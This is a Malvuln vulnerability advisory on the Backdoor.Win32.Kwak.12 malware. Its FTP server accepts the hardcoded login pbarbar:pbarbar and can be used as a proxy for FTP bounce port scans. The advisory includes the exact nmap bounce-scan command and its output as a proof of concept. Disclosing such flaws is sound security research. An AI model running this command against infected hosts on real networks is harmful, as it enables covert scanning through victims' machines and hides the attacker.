Discovery / credits: Malvuln - (c) 2021  
Original source:  
Threat: Backdoor.Win32.Kwak.12  
Vulnerability: Port Bounce Scan  
Description: The backdoor runs an FTP server that listens on TCP port 37885. Third-party adversaries can abuse the server as a man-in-the-middle machine allowing PORT Command bounce scan attacks using Nmap. This vulnerability allows remote attackers to abuse your system and discreetly conduct network port scanning. Victims will then think these scans are originating from the infected system running the afflicted malware FTP Server and not you. This is easily accomplished as the malware also suffers from a authentication bypass issue reference MVID-2021-0147.  
Type: PE32  
MD5: c25393545e5ead3a35996ef9a887bd34  
Vuln ID: MVID-2021-0148  
Dropped files:   
Disclosure: 03/25/2021  
Scanning ports 23,79,80 using Nmaps port bounce feature.  
nmap -n -Pn -b pbarbar:pbarbar@ -p23,79,80 -v  
Starting Nmap 7.80 ( ) at 2021-03-25 18:47 Pacific Daylight Time  
Resolved FTP bounce attack proxy to (  
Attempting connection to ftp://pbarbar:pbarbar@  
Connected:220 Enter Login  
Computer Name: DESKTOP-2X3IHHP  
Local IP:  
User On This Computer: victim  
Drive C: 14.97 Gb Free  
Login credentials accepted by FTP server!  
Initiating Bounce Scan at 18:47  
Discovered open port 80/tcp on  
Completed Bounce Scan at 18:47, 2.10s elapsed (3 total ports)  
Nmap scan report for  
Host is up.  
23/tcp closed telnet  
79/tcp closed finger  
80/tcp open http  
Read data files from: C:\Program Files (x86)\Nmap  
Nmap done: 1 IP address (1 host up) scanned in 11.28 seconds  
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